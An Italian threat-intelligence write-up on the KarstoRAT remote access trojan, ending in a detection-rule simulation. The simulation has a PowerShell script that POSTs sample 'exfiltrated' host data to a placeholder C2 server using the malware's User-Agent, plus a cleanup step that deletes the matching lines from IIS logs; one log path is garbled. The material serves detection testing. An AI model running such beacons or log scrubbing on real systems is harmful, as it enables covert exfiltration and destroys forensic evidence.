Uno Sguardo Approfondito al Nuovo e Furbo Malware KarstoRAT

Riepilogo

KarstoRAT è un trojan di accesso remoto recentemente identificato, in grado di raccogliere informazioni sul sistema, catturare flussi audio e video dalla webcam, scattare screenshot, registrare le sequenze di tasti e rubare i token di autenticazione. Il malware mantiene la persistenza, comunica con il suo server di comando e controllo su HTTP attraverso uno specifico agente utente personalizzato, e può recuperare payload aggiuntivi per ulteriori attività. Contiene anche funzioni distruttive, tra cui l’inversione dello schermo e la riproduzione audio forzata.

Investigazione

LevelBlue SpiderLabs ha esaminato il flusso di esecuzione di KarstoRAT, le comunicazioni di comando e controllo, le routine di esfiltrazione e i metodi di persistenza. Il rapporto evidenzia un ciclo infinito di due secondi utilizzato per mantenere il malware in esecuzione e descrive i STARTUP_ON and STARTUP_OFF comandi che controllano il comportamento di avvio automatico. I ricercatori hanno anche documentato la capacità del malware di cambiare lo sfondo del desktop e rimuoversi quanto istruito.

Mitigazione

Gli sforzi di rilevamento dovrebbero concentrarsi sull’unico agente utente HTTP del malware, sulle voci di registro sospette relative all’avvio e sul comportamento anomalo del processo di loop. Le difese degli endpoint dovrebbero anche guardare per l’attività di tipo fileless descritta nel rapporto e bloccare i binari sconosciuti consegnati tramite l’esca del mercato falso di Roblox.

Risposta

Se KarstoRAT viene identificato, isolare il dispositivo interessato, conservare le prove forensi comprese le tracce HTTP e gli artefatti di avvio, e rimuovere tutti i meccanismi di persistenza. Le organizzazioni dovrebbero ruotare le credenziali esposte e continuare a monitorare qualsiasi payload secondario che potrebbe essere stato scaricato dopo il compromesso iniziale.

Esecuzione della Simulazione

Prerequisito: Il controllo pre-volo di Telemetria e Baseline deve essere superato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria attesa dalla logica di rilevamento.

• Narrativa e Comandi di Attacco:
  L’attaccante ha ottenuto un punto d’appoggio nella rete della vittima e desidera stabilire un canale di comando e controllo per KarstoRAT. Per mimetizzarsi con il traffico legittimo, il malware utilizza una stringa User-Agent codificata “SecurityNotifier”. L’attaccante esegue una riga di comando PowerShell sull’host compromesso che emette un HTTP POST al server C2, incorporando l’intestazione UA. La richiesta include un piccolo payload JSON che imita i dati esfiltrati, sufficiente a innescare la regola sigma.

• Script di Test di Regressione:

  # Simulazione C2 di KarstoRAT – PowerShell
  $c2Url = "http://<webserver>/karsto_c2"
  $payload = @{
      host = $env:COMPUTERNAME
      data = "dati esfiltrati di esempio"
  } | ConvertTo-Json
  
  $headers = @{
      "User-Agent" = "SecurityNotifier"
      "Content-Type" = "application/json"
  }
  
  try {
      Invoke-WebRequest -Uri $c2Url `
                        -Method POST `
                        -Headers $headers `
                        -Body $payload `
                        -UseBasicParsing
      Write-Host "Richiesta C2 inviata."
  } catch {
      Write-Error "Impossibile inviare la richiesta C2: $_"
  }

• Comandi di Pulizia:

  # Rimuovere la richiesta generata dai log di IIS (richiede diritti di amministratore)
  $logPath = "C:inetpublogsLogFilesW3SVC1"
  Get-ChildItem -Path $logPath -Filter "*.log" | ForEach-Object {
      (Get-Content $_.FullName) |
          Where-Object { $_ -notmatch "SecurityNotifier" } |
          Set-Content $_.FullName
  }
  Write-Host "Log sanitizzati."